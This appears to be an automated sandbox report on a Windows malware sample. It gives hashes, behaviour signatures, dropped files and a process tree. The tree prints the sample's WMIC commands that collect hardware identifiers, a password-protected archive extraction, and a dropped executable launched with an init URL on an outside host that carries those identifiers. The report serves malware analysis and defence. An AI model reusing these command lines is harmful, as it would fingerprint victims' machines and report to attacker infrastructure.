Analysis

  • max time kernel
    140s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-05-2024 08:33

General

  • Target

    16d72c8deb46cad6112866fff84e8857_JaffaCakes118.exe

  • Size

    407KB

  • MD5

    16d72c8deb46cad6112866fff84e8857

  • SHA1

    4346028b8fc749e9260b00e5bf2e97e2e2336458

  • SHA256

    af83e27f4aaabdb8f79e39075659ca029b41acbe8f69a8805032665a72776ad4

  • SHA512

    e12e5e64cc11780a14b5cc943fdf9656fa40f70be50e2267ad6a7ef1bb2accbd582864d2e0cd480348864a85f7df8c08400219962c2a7b4f49f5f11c6cda9315

  • SSDEEP

    12288:FA0i50G5F69f26BlEoPdLsR3pFztoucrcQo:FAfyG5F69JEoF41pFzcLo

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\16d72c8deb46cad6112866fff84e8857_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\16d72c8deb46cad6112866fff84e8857_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:4460
    • C:\Windows\SysWOW64\Wbem\WMIC.exe
      WMIC csproduct Get UUID /FORMAT:textvaluelist.xsl
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2148
    • C:\Windows\SysWOW64\Wbem\WMIC.exe
      WMIC bios Get SerialNumber /FORMAT:textvaluelist.xsl
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4612
    • C:\Windows\SysWOW64\Wbem\WMIC.exe
      WMIC bios Get Version /FORMAT:textvaluelist.xsl
      2⤵
        PID:4264
      • C:\Windows\SysWOW64\Wbem\WMIC.exe
        WMIC csproduct Get Name /FORMAT:textvaluelist.xsl
        2⤵
          PID:3272
        • C:\Users\Admin\AppData\Local\Temp\nsj3867.tmp\7za.exe
          7za.exe e -y -p"a1daf52f0ec3baac2c4452d6532d07e9" [RANDOM_STRING].7z
          2⤵
          • Executes dropped EXE
          PID:3912
        • C:\Users\Admin\AppData\Local\Temp\nsj3867.tmp\setupcl.exe
          "C:\Users\Admin\AppData\Local\Temp\nsj3867.tmp\setupcl.exe" /initurl http://sub.reichtron.com/init/16d72c8deb46cad6112866fff84e8857_JaffaCakes118/:uid:? /affid "-" /id "0" /name " " /uniqid 16d72c8deb46cad6112866fff84e8857_JaffaCakes118 /uuid stance(s) Available. /biosserial /biosversion BOCHS - 1 /csname stance(s) Available.
          2⤵
          • Executes dropped EXE
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:3908
          • C:\Windows\SysWOW64\Wbem\wmic.exe
            wmic bios get serialnumber, version
            3⤵
              PID:436

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\nsj3867.tmp\7za.exe

          Filesize

          574KB

          MD5

          42badc1d2f03a8b1e4875740d3d49336

          SHA1

          cee178da1fb05f99af7a3547093122893bd1eb46

          SHA256

          c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf

          SHA512

          6bc519a7368ee6bd8c8f69f2d634dd18799b4ca31fbc284d2580ba625f3a88b6a52d2bc17bea0e75e63ca11c10356c47ee00c2c500294abcb5141424fc5dc71c

        • C:\Users\Admin\AppData\Local\Temp\nsj3867.tmp\[RANDOM_STRING].7z

          Filesize

          80KB

          MD5

          17fc79222adf83f7b1ee302755c2baa3

          SHA1

          1a40a4654e87b1c9142fa2d4c33ef109c9c15816

          SHA256

          f2164a7ac43a6a46110a95cf5e41628c3371c1d6f1746448f12c9e30e6552beb

          SHA512

          7c930dd6a3bdcefd6f18985c3908ec04e3fda107bbfcfa50fde3491400539b7808d40a15d9b7a8ece931e5adb4bf3b2ff64fd65df6808e1b07fc57a2418cc5d5

        • C:\Users\Admin\AppData\Local\Temp\nsj3867.tmp\nsExec.dll

          Filesize

          8KB

          MD5

          b8be6632a7dc8136ff01338be40fe701

          SHA1

          043fa16929b2af5ed5c1c59b4035a10cf765fb43

          SHA256

          289786fe13801467653eb2712f47f162d6fd3fc2d844be342282f75fc2b2a085

          SHA512

          403474154ff8500e5aae2b4466c652e5d066af2c55d8f158e6f007492ceb1f3abcc6cca80842b90900db02db4258ddcda75dec1d1799af24969c35811891e5b8

        • C:\Users\Admin\AppData\Local\Temp\nsj3867.tmp\setupcl.exe

          Filesize

          193KB

          MD5

          10bd2af1b07ec6bc9cd17ba512569e59

          SHA1

          807e17ab1b98177e135d30941b45081960d1e866

          SHA256

          9c620ef6eac3d0d9d3f6f2622a53d1f543cebd93846636ba397683962c07fc7c

          SHA512

          deacd041f12b6ec74f9e4488874ce962037990ed0ae424aaeabf2c35876b2ebbb943f92e9a4ffe504718bb00021209b035439ea4d7c64a4031b86ce9104ce3ed

        • memory/4460-35-0x0000000000400000-0x0000000000437000-memory.dmp

          Filesize

          220KB